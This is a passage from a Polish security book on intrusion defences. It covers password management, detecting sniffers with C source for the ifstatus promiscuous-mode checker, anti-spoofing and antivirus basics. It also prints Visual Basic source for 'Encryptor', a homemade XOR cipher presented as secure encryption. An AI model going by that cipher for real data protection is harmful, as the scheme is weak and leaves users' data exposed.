watności osobistych haseł. Dołączona do tej ksiąŜki wersja narzędzia obsługuje wiele 
profili  uŜytkowników.  Rysunek  2.15  pokazuje,  jak  prosta  jest  jego  obsługa  —  naleŜy 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

197 

 

197

 

z rozwijanej listy wybrać zarejestrowany profil lub utworzyć nowy. W czasie tworze-
nia nowego profilu trzeba pamiętać o wybraniu opcji Remember this user profile, jeśli 
chcesz,  aby  nazwa  profilu  była  dołączona  do  głównej  rozwijanej  listy  logowania 
(patrz rysunek 2.16). 

Rysunek 2.15.  
Główny ekran 
logowania programu 
TigerCrypt 

 

 

 

Rysunek 2.16.  
Tworzenie nowego 
u
Ŝytkownika jest 
bardzo proste 
w programie 
TigerCrypt, który 
obsługuje wiele 
profili 

 

 

Przy  uŜyciu  głównego  interfejsu  TigerCrypt  (patrz  rysunek  2.17)  moŜesz  dodać  lub 
usunąć  zaszyfrowane  konta  logowania.  Program  przechowuje  bezpiecznie  wiele  nazw 
logowania,  haseł,  nazw  serwerów  i  informacji  o  kontach;  są  one  dostępne  tylko  po 
podaniu  hasła  danego  profilu.  Zaszyfrowane  dane  mogą  być  równieŜ  eksportowane 
i importowane do plików. Głównym powodem istnienia tej funkcji jest obsługa prze-
mieszczających  się  uŜytkowników  oraz  przyszła  zgodność  z  urządzeniami  typu  PDA 
(cyfrowy  asystent  osobisty).  Aby  umoŜliwić  wprowadzenie  zalecanej  cotygodniowej 
zmiany  hasła,  TigerCrypt  zawiera  generator  losowych  haseł  w  celu  natychmiastowego 
tworzenia  skomplikowanych  haseł.  Odpowiednia  opcja  interfejsu  umoŜliwia  wybór 
długości hasła oraz dostępnych znaków (duŜe i małe litery, cyfry, klawisze rozszerzo-
ne i symbole), które mają być losowo stosowane (patrz rysunek 2.18). 

Wspominaliśmy  juŜ  w  tej  ksiąŜce  o  ostatniej  zasadzie,  której  naleŜy  przestrzegać 
w celu zabezpieczenia przed złamaniem hasła, ale warto ją tu przypomnieć — nigdy 
nie  podawaj  nikomu  swojej  nazwy  uŜytkownika  lub  hasła.  Mówiąc  krótko,  te  dane 
powinieneś zabrać ze sobą do grobu. 

Ochrona przed podsłuchem 

Szperacz  (sniffer)  to  program,  który  pasywnie  przechwytuje  i  kopiuje  cały  ruch  sie-
ciowy w systemie, serwerze, routerze lub firewallu. „Legalne” szperacze umoŜliwiają 
m.in.  monitorowanie  sieci  i  rozwiązywanie  problemów.  W  przeciwieństwie  do  nich 
ukryte  szperacze  zainstalowane  przez  hakerów  mogą  być  wyjątkowo  niebezpieczne,  

 

background image

 
198 

Hack Wars. Tom 2. Na tropie hakerów 

198 

 

Rysunek 2.17.  
Nawigacja 
w głównym interfejsie 
TigerCrypt 

 

 

 

Rysunek 2.18.  
Generowanie 
losowych haseł 
w TigerCrypt 

 

 

poniewaŜ  są  trudne  do  wykrycia.  Mogą  one  przechwytywać  poufne  dane,  informacje 
o sieci, a nawet hasła wysyłane otwartym tekstem. Niektóre szperacze, takie jak Jugger-
naut for Linux
, mają moŜliwość przerywania lub przejęcia sesji Telnetu, wstawiając pakiet 
do serwera z oszukanym adresem źródłowym. Od tego momentu moŜe być tylko gorzej. 

Najskuteczniejszym  i  najszybszym  zabezpieczeniem  przed  uŜyciem  szperacza  do 
podsłuchu sieci lub stacji roboczej jest uŜycie technik opisanych w tej i innych ksiąŜ-
kach. Inne środki ochronne obejmują podział sieci na segmenty przy uŜyciu przełącz-
ników. Techniczna teoria mówi: jeśli kaŜde urządzenie znajduje się we własnym segmen-
cie  i  domenie  rozgłaszania,  to  szperacz  będzie  mógł  przechwycić  informacje  tylko 
z danej  stacji  roboczej.  Według  kolejnej  zasady  projektowania  sieci  naleŜy  uŜyć  kart 
sieciowych,  które  nie  obsługują  trybu  podsłuchowego  (promiscuos  mode).  Większość 
szperaczy opiera swoje działanie  na  wykorzystaniu  takich  kart (w trybie podsłuchowym 
karta sieciowa nie bierze udziału w komunikacji sieciowej, a tylko kopiuje cały ruch do 
celów własnej analizy). 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

199 

 

199

 

Jednym ze sposobów na stwierdzenie, czy w danym systemie działa szperacz, jest prze-
szukanie  systemu  operacyjnego  przy  uŜyciu  określonego  polecenia,  na  przykład 
w systemach Unix jest to polecenie ifconfig -a. Jeśli system jest prawidłowo skonfigu-
rowany, komunikat wynikowy poinformuje, czy karta sieciowa znajduje się w trybie 
podsłuchowym. Inne dostępne polecenia to narzędzie do wyświetlania aktywnych proce-
sów o nazwie ps, a takŜe program o nazwie Check Promiscuous Mode (CPM), dostęp-
ny na witrynie www.cert.org. Dobrym narzędziem do wykrywania i usuwania ukrytych 
procesów (takich jak szperacz) w systemach Windows jest TigerWipe, przedstawiony 
w rozdziale 1. 

Inny  popularny  program  uniksowy  o  nazwie  ifstatus  moŜe  być  uruchomiony  w  celu 
identyfikacji kart sieciowych, które znajdują się w trybie podsłuchowym, lub usuwa-
nia błędów (debug mode). To narzędzie nie wyświetla zwykle Ŝadnych komunikatów 
wynikowych, chyba Ŝe odnajdzie karty sieciowe pracujące w niezabezpieczonym try-
bie. Jeśli się to zdarzy, wyświetlony zostanie następujący komunikat: 

WARNING: TEST1.TIGER INTERFACE le0 IS IN PROMISCUOS MODE. 
WARNING: TEST1.TIGER INTERFACE le1 IS IN DEBUG MODE. 

ifstatus.c 

#include <sys/param.h> 
#include <ctype.h> 
#include <stdio.h> 
 
#ifndef MAXHOSTNAMELEN 
#define MAXHOSTNAMELEN      64 
#endif 
 
char      *hostName      = NULL; 
char      *programName   = NULL; 
 
int      verbose       = 0; 
 
main(argc, argv) 
char **argv; 
int argc; 

   char *p; 
   char hostNameBuf[MAXHOSTNAMELEN+1]; 
 
   programName = *argv; 
   hostName = hostNameBuf; 
 
   while (--argc) { 
       if (**++argv != '-') 
           usage(); 
 
       switch (*++*argv) { 
       case 'v': 
           verbose++; 
           break; 
       default: 
           usage(); 
           break; 
       } 
   } 
 

background image

 
200 

Hack Wars. Tom 2. Na tropie hakerów 

200 

 

   if (gethostname(hostNameBuf, sizeof(hostNameBuf)) < 0) 
       fatal("gethostname", NULL); 
 
   for (p = hostName; *p != '\0'; p++) { 
       if (islower(*p)) 
           *p = toupper(*p); 
   } 
 
   checkInterfaces(); 
   exit(0); 

 
fatal(s1, s2) 
char *s1, *s2; 

    fprintf(stderr, "%s: ", programName); 
 
    if (s2 != NULL) 
        fprintf(stderr, "%s: ", s2); 
 
    perror(s1); 
    exit(1); 

 
usage() 

    fprintf(stderr, "U

Ŝ

ycie: %s [-v]\n", programName); 

    exit(1); 

ifgeneric.c 

#if defined(BSD) || defined(HPUX) || defined(SUNOS4) 
 
#include <sys/param.h> 
#include <sys/socket.h> 
#ifdef SUNOS4 
#include <sys/sockio.h> 
#endif 
#include <sys/ioctl.h> 
#include <net/if.h> 
#include <stdio.h> 
 
extern char    *hostName; 
 
extern int      verbose; 
 
checkInterfaces() 

    int n, s; 
    char cbuf[1024]; 
    struct ifconf ifc; 
    struct ifreq ifr, *ifrp; 
 
    if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) 
        fatal("socket", NULL); 
 
    ifc.ifc_buf = cbuf; 
    ifc.ifc_len = sizeof(cbuf); 
 
    if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0) 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

201 

 

201

 

        fatal("ioctl: SIOCGIFCONF", NULL); 
 
    close(s); 
    ifrp = ifc.ifc_req; 
 
    for (n = ifc.ifc_len / sizeof(struct ifreq); n > 0; n--, ifrp++) 

        if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) 
            fatal("socket", NULL); 
 
        strcpy(ifr.ifr_name, ifrp->ifr_name); 
 
        if (ioctl(s, SIOCGIFFLAGS, (char *) &ifr) < 0) 
            fatal("ioctl: SIOCGIFFLAGS", NULL); 
 
        if (verbose) { 
            printf("Interface %s: flags=0x%x\n", ifr.ifr_name, 
                   ifr.ifr_flags); 
        } 
 
        if (ifr.ifr_flags & IFF_PROMISC) { 
            printf("WARNING: %s INTERFACE %s IS IN PROMISCUOS 
MODE.\n", 
                   hostName, ifr.ifr_name); 
        } 
 
        if (ifr.ifr_flags & IFF_DEBUG) { 
            printf("WARNING: %s INTERFACE %s IS IN DEBUG MODE.\n", 
                   hostName, ifr.ifr_name); 
        } 
 
        close(s); 
   } 

#endif /* BSD || HPUX || SUNOS4 */ 

if-solaris.c 

#if defined(SUNOS5) 
 
#include <sys/param.h> 
#include <sys/stream.h> 
#include <sys/dditypes.h> 
#include <sys/ethernet.h> 
#include <nlist.h> 
#include <fcntl.h> 
#include <stdio.h> 
#include <kvm.h> 
 
#include "if-solaris.h" 
 
struct nlist nl[] = { 
#define X_IE        0 
    { "iedev"    }, 
#define X_LE        1 
    { "ledev"    }, 
#define X_QE        2 
    { "qeup"     }, 
#define X_HME       3 
    { "hmeup"    }, 
#define X_XX        4 

background image

 
202 

Hack Wars. Tom 2. Na tropie hakerów 

202 

 

    { 0         } 
}; 
 
extern char     *hostName; 
extern char     *programName; 
 
extern int     verbose; 
 
checkInterfaces() 

    kvm_t *kd; 
 
    if ((kd = kvm_open(NULL, NULL, NULL, O_RDONLY, programName)) == 
NULL) 
        fatal("kvm_open", NULL); 
 
    if (kvm_nlist(kd, nl) < 0) 
        fatal("kvm_nlist", NULL); 
 
    if (nl[X_IE].n_value != 0) 
        checkIE(kd); 
 
    if (nl[X_LE].n_value != 0) 
        checkLE(kd); 
 
    if (nl[X_QE].n_value != 0) 
        checkQE(kd); 
 
    if (nl[X_HME].n_value != 0) 
        checkHME(kd); 
    kvm_close(kd); 

 
checkIE(kd) 
kvm_t *kd; 

    struct ie ie; 
    struct dev_info di; 
    u_long ieaddr, dipaddr; 
 
    ieaddr = nl[X_IE].n_value; 
 
    do { 
       if (kvm_read(kd, ieaddr, (char *) &ie, sizeof(struct ie)) < 0) 
           fatal("kvm_read: ie", NULL); 
 
       dipaddr = (u_long) ie.ie_dip; 
       ieaddr = (u_long) ie.ie_nextp; 
 
       if (dipaddr == 0) 
           continue; 
 
       if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct 
dev_info))  
         < 0) 
           continue; 
 
       if (verbose) { 
           printf("Interface ie%d: flags=0x%x\n", 
                  di.devi_instance, ie.ie_flags); 
       } 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

203 

 

203

 

 
       if (ie.ie_flags & IEPROMISC) { 
           printf("WARNING: %s INTERFACE ie%d IS IN PROMISCUOS 
MODE.\n", 
                  hostName, di.devi_instance); 
              } 
    } while (ieaddr != 0); 

 
checkLE(kd) 
kvm_t *kd; 

    struct le le; 
    struct dev_info di; 
    u_long leaddr, dipaddr; 
 
    leaddr = nl[X_LE].n_value; 
 
    do { 
        if (kvm_read(kd, leaddr, (char *) &le, sizeof(struct le)) < 
0) 
            fatal("kvm_read: le", NULL); 
 
        dipaddr = (u_long) le.le_dip; 
        leaddr = (u_long) le.le_nextp; 
 
        if (dipaddr == 0) 
            continue; 
 
        if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct 
dev_info)) < 0) 
            continue; 
 
        if (verbose) { 
            printf("Interface le%d: flags=0x%x\n", 
                   di.devi_instance, le.le_flags); 
        } 
 
        if (le.le_flags & LEPROMISC) { 
            printf("WARNING: %s INTERFACE le%d IS IN PROMISCUOS 
MODE.\n", 
                   hostName, di.devi_instance); 
        } 
    } while (leaddr != 0); 

 
checkQE(kd) 
kvm_t *kd; 

    struct qe qe; 
    struct dev_info di; 
    u_long qeaddr, dipaddr; 
    qeaddr = nl[X_QE].n_value; 
 
    do { 
        if (kvm_read(kd, qeaddr, (char *) &qe, sizeof(struct qe)) < 
0) 
            fatal("kvm_read: qe", NULL); 
 
        dipaddr = (u_long) qe.qe_dip; 
        qeaddr = (u_long) qe.qe_nextp; 

background image

 
204 

Hack Wars. Tom 2. Na tropie hakerów 

204 

 

 
        if (dipaddr == 0) 
            continue; 
 
        if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct 
dev_info)) < 0) 
            continue; 
 
        if (verbose) { 
            printf("Interface qe%d: flags=0x%x\n", 
                   di.devi_instance, qe.qe_flags); 
        } 
 
        if (qe.qe_flags & QEPROMISC) { 
            printf("WARNING: %s INTERFACE qe%d IS IN PROMISCUOS 
MODE.\n", 
                   hostName, di.devi_instance); 
        } 
    } while (qeaddr != 0); 

checkHME(kd) 
kvm_t *kd; 

    struct hme hme; 
    struct dev_info di; 
    u_long hmeaddr, dipaddr; 
    hmeaddr = nl[X_HME].n_value; 
    do { 
        if (kvm_read(kd, hmeaddr, (char *) &hme, sizeof(struct hme)) 
< 0) 
            fatal("kvm_read: hme", NULL); 
        dipaddr = (u_long) hme.hme_dip; 
        hmeaddr = (u_long) hme.hme_nextp; 
        if (dipaddr == 0) 
            continue; 
        if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct 
dev_info)) < 0) 
            continue; 
        if (verbose) { 
            printf("Interface hme%d: flags=0x%x\n", 
                   di.devi_instance, hme.hme_flags); 
        } 
        if (hme.hme_flags & HMEPROMISC) { 
            printf("WARNING: %s INTERFACE hme%d IS IN PROMISCUOS 
MODE.\n", 
                   hostName, di.devi_instance); 
        } 
    } while (hmeaddr != 0); 

 
#endif /* SUNOS5 */ 

Obecnie administratorzy testują powaŜne modyfikacje infrastruktury sieciowej, któ-
re  obejmują  przełączniki,  prywatne  sieci  wirtualne  (Virtual  Private  Network  — 
VPN),  a takŜe  techniki  kryptograficzne.  Dzięki  implementacji  takich  rozwiązań  in-
formacje uŜywane do logowania oraz transmisja danych mogą być szyfrowane w celu 
uniknięcia  naraŜenia  się  na  nieautoryzowane  procedury  podsłuchu.  Skontaktuj  się 
z producentami  urządzeń  i  poproś  o  dostarczenie  informacji  na  temat  stosowanych 
przez nich własnych opcji szyfrowania. 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

205 

 

205

 

UŜytkownicy domowi, korporacyjni i prywatni systemu Windows, którzy chcą wykorzy-
stać szyfrowanie i mieć nad tym procesem całkowitą kontrolę, mogą uŜyć narzędzia En-
cryptor
, pokazanego na rysunku 2.19, a utworzonego przez STeRoiD. Dzięki niemu moŜ-
liwe  jest  kontrolowanie  wykorzystywanych  technik  szyfrowania  w  celu  prostego 
zabezpieczenia danych. Kod źródłowy nie jest skomplikowany, dzięki czemu jego mody-
fikacja do prywatnego uŜytku nie powinna być trudna. Aby zapisać dane do szyfrowania, 
uŜyj listy katalogów po prawej stronie w celu dotarcia do ścieŜki, w której chcesz umie-
ś

cić zaszyfrowany plik. W tym momencie wprowadź klucz szyfrowania i kliknij Zapisz

Aby  załadować  zaszyfrowany  plik,  uŜyj  ponownie  listy  katalogów  po  prawej  stronie 
i wybierz właściwy plik (pamiętaj o wpisaniu właściwego klucza szyfrowania), a następ-
nie kliknij Otwórz. Wynik przykładu pokazanego na rysunku 2.19 będzie wyglądał w po-
niŜszy sposób: 

Îg„K¶f<ô

Ą

m*



…e

ĆĂ

ę

Y

ı

iâ˘

ź

-



Š2



tł+#

ı

 

˝.

ń

ą

˝µ]

Ő

ä6

Ę

s

Ů

`

ŕŘ

gé±

ě

^ŽÁ



˙N˝A

Ő

Î

U

ś

Tc

ľ

c



==Ó



 

 

Rysunek 2.19.  
Szyfrowanie danych 
w Encryptorze w celu 
bezpiecznego 
przesłania przez sie
ć 

 

 

Encryptor (główny formularz) 

Private Sub DelFileBtn_Click() 
If Files.Filename = "" Then Exit Sub 
If MsgBox("DELETE file?", vbExclamation Or vbYesNo, "Delete file") = 
vbYes Then 
If MsgBox("All the information will be lost! Continue?", 
vbExclamation Or vbYesNo, "Delete file") = vbYes Then 
Kill GetFileWithPath 
End If 
End If 
Files.Refresh 
End Sub 
 
Private Sub Drives_Change() 
FilePath.Path = Drives.Drive 
Files.Path = Drives.Drive 

background image

 
206 

Hack Wars. Tom 2. Na tropie hakerów 

206 

 

End Sub 
 
Private Sub FilePath_Change() 
Files.Path = FilePath.Path 
End Sub 
 
Private Sub Files_DblClick() 
MsgBox GetFileWithPath 
End Sub 
 
Private Sub Form_Load() 
Drives.Drive = Left(App.Path, 2) 
FilePath.Path = App.Path 
OpenFilename = "" 
Saved = True 
ChangeEnable False 
End Sub 
 
Private Sub Form_Unload(Cancel As Integer) 
Cancel = 1 
Mexit_Click 
End Sub 
 
Private Sub LoadBtn_Click() 
Mopen_Click 
End Sub 
 
Private Sub Mexit_Click() 
If Saved = False Then 
    If SaveQuestion = 3 Then Exit Sub 
End If 
End 
End Sub 
 
Private Sub MLoadFiles_Click() 
MsgBox "Navigate through the directory list from the right side and 
select the file you want to load. Be sure to write the appropriate 
encryption key and then click load.", vbInformation, "How to load 
encrypted files" 
End Sub 
 
Private Sub MSaveFiles_Click() 
MsgBox " Navigate through the directory list from the right side to 
the path you wish to save your encrypted file. Enter in an encryption 
key and click save.", vbInformation, "How to save files with 
encryption" 
End Sub 
 
Private Sub PasswordTxt_Change() 
If Len(PasswordTxt) = 0 Then 
ChangeEnable False 
Else 
ChangeEnable True 
End If 
End Sub 
 
Private Sub SaveBtn_Click() 
StartSave 
End Sub 
 
Private Sub Mnew_Click() 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

207 

 

207

 

If Saved = False Then 
    If SaveQuestion = 3 Then Exit Sub 
End If 
Textbox = "" 
OpenFilename = "" 
Saved = True 
End Sub 

 

Private Sub Mopen_Click() 
If Saved = False Then 
    If SaveQuestion = 3 Then Exit Sub 
End If 
If Files.Filename = "" Then MsgBox "Choose Filename", vbExclamation: 
Exit Sub 
OpenFilename = GetFileWithPath 
LoadFile OpenFilename, PasswordTxt 
Saved = True 
End Sub 

 

Private Sub Msave_Click() 
StartSave 
End Sub 

 

Private Sub Msaveas_Click() 
Dim Temp As String, Temp2 As String 
Temp = InputBox("Enter Filename", "Save file") 
If Temp = "" Then Exit Sub 
Temp = GetPath(Files.Path) & GetTxtFile(Temp) 
If (Dir(Temp) <> "") Then 
    If MsgBox("The file already exists." & vbCrLf & "Replace?", 
vbQuestion Or vbYesNo, "File exists!") = vbNo Then Exit Sub 
End If 
Temp2 = VerifyPass 
If Temp2 <> "" Then 
OpenFilename = Temp 
SaveFile OpenFilename, Temp2 
End If 
End Sub 
 
Private Sub Textbox_Change() 
Saved = False 
End Sub 

Moduł szyfrujący 

Global Saved As Boolean 
Global OpenFilename As String 
 
Function GetFileWithPath() As String 
If MainFrm.Files.Filename = "" Then 
    GetFileWithPath = "" 
    Exit Function 
Else 
GetFileWithPath = GetPath(MainFrm.Files.Path) & 
MainFrm.Files.Filename 
End If 
End Function 
 
Function GetPath(ByVal PathName As String) As String 
If PathName Like "*\" Then 
GetPath = PathName 
Else 

background image

 
208 

Hack Wars. Tom 2. Na tropie hakerów 

208 

 

GetPath = PathName & "\" 
End If 
End Function 
 
Function SpecielNumber1(ByVal Text As String) As Byte 
Dim Value, Shift1, Shift2, ch 
For i = 1 To Len(Text) 
ch = Asc(Mid$(Text, i, 1)) 
Value = Value Xor Int(Shift1 * 10.4323) 
Value = Value Xor Int(Shift2 * 4.23) 
Shift1 = (Shift1 + 7) Mod 19 
Shift2 = (Shift2 + 13) Mod 23 
Next 
SpecielNumber1 = Value 
End Function 
 
Function SpecielNumber2(ByVal Password As String) As Byte 
Dim Value 
Value = 194 
For i = 1 To Len(Password) 
ch = Asc(Mid$(Password, i, 1)) 
Value = Value Xor ch Xor i 
If Value > 100 Then Value = (Value - 50) Xor 255 
Next 
SpecielNumber2 = Value 
End Function 
 
Function SpecielNumber3(ByVal Password As String) As Byte 
Value = Len(Password) Mod 37 
For i = 1 To Len(Password) 
ch = Asc(Mid$(Password, i, 1)) 
If (Value Mod 2) And (ch > 10) Then ch = ch - 1 
Value = (ch * Value * 17.3463) Mod 255 
Next 
SpecielNumber3 = Value 
End Function 
 
Function Fib(ByVal Num As Integer) As Long 
Dim Temp As Integer, Temp2 As Integer, Temp3 As Integer 
Temp = 1 
Temp2 = 1 
Temp3 = 1 
For i = 3 To Num 
Temp3 = Temp2 
Temp2 = Temp 
Temp = Temp + Temp3 
Next 
Fib = Temp 
End Function 

Function Pwd(ByVal Text As String, ByVal KeyTxt As String) As String 
Dim KeyLen As Integer 
Dim PassAsc As Byte 
Dim SaveNum As Integer 
Dim AfterETxt As String 
Dim RandTxt1 As Integer, RandTxt2 As Integer, RandTxt3 As Integer 
Dim Temp As Byte 
RandTxt1 = SpecielNumber1(Text) 
RandTxt2 = SpecielNumber2(KeyTxt) 
RandTxt3 = SpecielNumber3(KeyTxt) 
SaveNum = 1 
KeyLen = Len(KeyTxt) 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

209 

 

209

 

AfterETxt = "" 
For i = 1 To Len(Text) 
Temp = Asc(Mid(Text, i, 1)) 
PassAsc = Asc(Mid(KeyTxt, ((i - 1) Mod KeyLen) + 1, 1)) 
If RandTxt2 > RandTxt3 Then Temp = Temp Xor RandTxt1 Xor RandTxt3 
If RandTxt1 > RandTxt3 Then Temp = Temp Xor RandTxt2 
Temp = Temp Xor (Abs(RandTxt3 - i) Mod 256) 
Temp = Temp Xor PassAsc 
Temp = Temp Xor (Int(i * 2.423121) Mod 256) 
Temp = Temp Xor (Int(Fib(i Mod 17) * 0.334534) Mod 256) 
Temp = Temp Xor SaveNum 
Temp = Temp Xor (KeyLen Mod SaveNum) 
Temp = Temp Xor RandTxt3 
Temp = Temp Xor (Len(Text) Mod 71) 
Temp = Temp Xor Abs(RandTxt3 - RandTxt1) 
Temp = Temp Xor Abs(((RandTxt1 Mod 23) * 10) Mod RandTxt2) 
SaveNum = (Int(Fib(i Mod 7) * 0.334534) Mod 256) 
SaveNum = SaveNum Xor (PassAsc * 45.92425) Mod 256 
If (i >= 2) Then 
    If PassAsc And 2 Then 
    Temp = Temp Xor PassAsc 
    Else 
    Temp = Temp Xor (Int(PassAsc * 3.2145561) Mod 256) 
    End If 
Else 
Temp = Temp Xor ((KeyLen * PassAsc + (i Mod 3)) Mod 256) 
End If 
AfterETxt = AfterETxt & Chr(Temp) 
Next 
Pwd = AfterETxt 
End Function 
 
Function GetTxtFile(ByVal Filename As String) As String 
If Filename Like "*.txt" Then 
GetTxtFile = Filename 
Else 
GetTxtFile = Filename & ".txt" 
End If 
End Function 

Function ChangeEnable(ByVal Status As Boolean) 
With MainFrm 
.LoadBtn.Enabled = Status 
.SaveBtn.Enabled = Status 
.Mopen.Enabled = Status 
.Msave.Enabled = Status 
.Msaveas = Status 
End With 
End Function 
 
Function SaveQuestion() As Byte 
Opt = MsgBox("You didn’t save the last file." & vbCrLf & "Save it?", 
vbQuestion Or vbYesNoCancel, "Save") 
If Opt = vbYes Then 
    If StartSave = True Then 
        SaveQuestion = 1 
    Else 
        SaveQuestion = 3 
    End If 
ElseIf Opt = vbNo Then 
    SaveQuestion = 2 
Else 

background image

 
210 

Hack Wars. Tom 2. Na tropie hakerów 

210 

 

    SaveQuestion = 3 
End If 
End Function 
 
Function StartSave() As Boolean 
Dim Temp As String, Temp2 As String 
StartSave = True 
If OpenFilename = "" Then 
    Temp = InputBox("Enter Filename", "Save file", 
MainFrm.Files.Filename) 
    If Temp = "" Then StartSave = False: Exit Function ‘tylko nazwa 
pliku 
    Temp = GetPath(MainFrm.Files.Path) & GetTxtFile(Temp) 'ustaw temp 
na pełn

ą

  

      

ś

cie

Ŝ

k

ę

 

    If (Dir(Temp) <> "") Then 'je

ś

li plik istnieje 

        If MsgBox("The file already exists." & vbCrLf & "Replace?", 
vbQuestion Or  
          vbYesNo, "File exists!") = vbNo Then StartSave = False: 
Exit Function 
    End If 
    Temp2 = VerifyPass 
    If Temp2 = "" Then StartSave = False: Exit Function 
    OpenFilename = Temp 
    SaveFile OpenFilename, Temp2 
    Saved = True 
Else 
    Temp = VerifyPass 
    If Temp = "" Then StartSave = False: Exit Function 
    SaveFile OpenFilename, Temp 
    Saved = True 
End If 
End Function 
 
Function SaveFile(ByVal Filename As String, ByVal Pass As String) 
Open Filename For Output As #1 
Print #1, Pwd(MainFrm.Textbox, Pass) 
Close #1 
Saved = True 
MainFrm.Files.Refresh 
End Function 

Function LoadFile(ByVal Filename As String, ByVal Pass As String) 
Dim Dta As String 
Dta = Space(FileLen(Filename)) 
free = FreeFile 
Open Filename For Binary Access Read As #free 
Get #free, , Dta 
Close #free 
Dta = Mid(Dta, 1, Len(Dta) - 2) 
MainFrm.Textbox = Pwd(Dta, Pass) 
Saved = True 
End Function 

 

Function VerifyPass() As String 
Dim Temp As String 
Temp = InputBox("Confirm Encryption Key") 
If Temp = "" Then Exit Function 
If (Temp = MainFrm.PasswordTxt) Then 
VerifyPass = Temp 
Else 
MsgBox "Keys don’t match!", vbCritical 
VerifyPass = "" 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

211 

 

211

 

End If 
End Function 

Ochrona przed podszywaniem się 

W pierwszym tomie tej ksiąŜki opisaliśmy, w jaki sposób podszywanie się pod adres 
IP  jest  uŜywane  do  przejęcia  osobowości  zaufanego  hosta,  złamania  zabezpieczeń 
oraz nawiązania zaufanej komunikacji z systemem docelowym. Po udanym ataku haker 
moŜe utworzyć sobie tylne drzwi do systemu w celu ułatwienia dalszego dostępu oraz 
uzyskania zdalnej kontroli. Analogicznie, włamanie się do serwera DNS daje napastni-
kowi kontrolę nad procesem rozwiązywania domen, a w niektórych przypadkach tak-
Ŝ

e moŜliwość przekierowania gości do innego miejsca niŜ docelowa witryna WWW lub 

serwer pocztowy. 

Na szczęście w sieci pojawiły się juŜ środki chroniące przed podszywaniem się. Po-
niewaŜ podstawą podszywania jest identyfikacja adresu źródłowego bez potwierdzo-
nego  uwierzytelniania,  pomóc  moŜe  wprowadzenie  IPv6  z  nagłówkami  uwierzytel-
niania.  Takie  nagłówki  zapewniają  moŜliwość  obliczenia  zaszyfrowanych  sum 
kontrolnych pola uŜytkowego datagramów oraz niektórych pól nagłówka. Takie prze-
liczanie  natomiast  zapewnia  dwustopniową  ochronę  przed  podszywaniem,  a  takŜe 
lepsze  filtrowanie  pakietów,  co  chroni  przed  nagłym  wzrostem  rozpowszechniania. 
Tak jak rozwiązanie oparte o IPSec, zasady filtrowania konkretnych pakietów chronią 
ruch,  który  powstaje  na  zewnątrz  VPN,  ale  nie  są  wymagane,  poniewaŜ  szyfrowane 
techniki  uwierzytelniania  zapewniają  takie  zabezpieczenie.  Mówiąc  ogólnie,  protokół, 
który nie zapewnia uwierzytelniania swoich komunikatów, moŜe być wraŜliwy na atak 
przy  uŜyciu  podszywania.  W przypadku  NetBIOS-u  uŜytkownicy  potrzebujący  lep-
szej ochrony przed podszywaniem mogą uŜyć IPSec w Windows 2000 w celu nawiąza-
nia  uwierzytelnionych  sesji.  W  takim  przypadku  zasady  IPSec,  które  uwierzytelniają 
sesje  przez  porty  137  –  139,  mogą  zapobiec  podszywaniu  się  pod  ten  potencjalnie 
wraŜliwy protokół. 

Większość  producentów  dołącza  do  peletonu  firm  udostępniających  ochronę  przed 
podszywaniem.  Dla  przykładu  niektóre  produkty  Cisco  oferują  zabezpieczenia  przy 
uŜyciu podstawowego interfejsu prywatności (BRI) DOCSIS lub opcje zarządzanego 
CPE,  takie  jak  serwery  i  routery  uwierzytelniania,  autoryzacji  i  rozliczeń  (AAA). 
Mówiąc  ogólnie,  taki  system  obsługuje  listy  kontroli  dostępu  ACL,  tunele,  filtrowa-
nie, specjalne zabezpieczenie przed podszywaniem oraz polecenia do konfiguracji fil-
trowania  źródłowego  adresu  IP  w  podsieciach  radiowych,  dzięki  czemu  uŜytkownicy 
nie mogą korzystać z adresów IP, niewaŜnych dla podsieci, do których są przyłączeni. 

Jeśli  połączysz  opisane  powyŜej  technologie  z  firewallami  dokonującymi  inspekcji, 
otrzymasz kompletną metodę zabezpieczającą przed podszyciem się hakera. Nie zapo-
mnij o dowiadywaniu się u producenta sprzętu o stosowane przez niego funkcje chro-
niące przed takimi atakami. Wiele aktualizacji oprogramowania automatycznie zawiera 
nowsze funkcje, które są ciągle rozwijane w celu ulepszenia frontonów konfiguracyj-
nych (patrz rysunek 2.20). 

background image

 
212 

Hack Wars. Tom 2. Na tropie hakerów 

212 

 

Rysunek 2.20.  
Zaawansowane opcje 
firewalla w programie 
NetScreen obejmuj
ą 
ochron
ę przed atakami 
z zastosowaniem 
podszycia 

 

Ochrona przed wirusami 

Do tej pory udokumentowano juŜ ponad 69000 wirusów, które krąŜą między kompu-
terami.  Nowe  wirusy  powstają  codziennie  wskutek  mutacji  i  narodzin  nowych  od-
mian.  Wirusy  komputerowe  cechują  się  trzema  kolejnymi  fazami  Ŝycia  —  aktywacją, 
replikacją oraz manipulacją. 









 

Aktywacja — moment, w którym pierwszy komputer „łapie” wirusa, 
zwykle z zaufanego źródła. 









 

Replikacja — wtedy wirus zaczyna się rozprzestrzeniać w celu 
zainfekowania moŜliwie największej liczby „ofiar” w polu raŜenia. 









 

Manipulacja — wirus zaczyna działać; ten moment moŜe być zaleŜny od daty 
(na przykład piątek trzynastego lub pierwszy stycznia) lub jakiegoś zdarzenia 
(trzeci restart komputera lub zaplanowana procedura obsługi dysku). 

Oprogramowanie chroniące przed wirusami reaguje zwykle na wzory wirusów, dlate-
go trudne jest osiągnięcie całkowitego zabezpieczenia. ToteŜ  w czasie poszukiwania 
właściwego  programu  Twoim  celem  powinny  stać  się  trzy  funkcje  —  aktywne  ska-
nowanie, monitorowanie poczty i bieŜąca aktualizacja definicji wirusów. 









 

Aktywne skanowanie — dzięki tej funkcji moduły programu antywirusowego 
